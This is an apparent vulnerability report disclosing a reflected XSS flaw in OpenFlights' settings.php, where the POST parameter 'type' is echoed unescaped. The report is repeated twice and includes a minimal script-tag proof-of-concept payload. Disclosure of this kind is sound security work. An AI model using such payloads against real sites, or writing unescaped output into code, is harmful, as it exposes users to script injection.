Hello,
I would like to report for a xss vulnerability in openflights.
The path of the vulnerability.
In file https://github.com/jpatokal/openflights/blob/master/php/settings.php
$type = $_POST["type"]; //Line 6
...
die("0;" . sprintf(_("Unknown action %s"), $type)); //Line 60
We see that there is no check between the input $_POST["type"] and the output(Line 60)
Thus the XSS will happen at die("0;" . sprintf(_("Unknown action %s"), $type));
Poc:
POST type=<script>alert('xss')</script>
Manual verification:


Hello,
I would like to report for a xss vulnerability in openflights.
The path of the vulnerability.
In file https://github.com/jpatokal/openflights/blob/master/php/settings.php
We see that there is no check between the input $_POST["type"] and the output(Line 60)
Thus the XSS will happen at
die("0;" . sprintf(_("Unknown action %s"), $type));Poc:
POST
type=<script>alert('xss')</script>Manual verification:
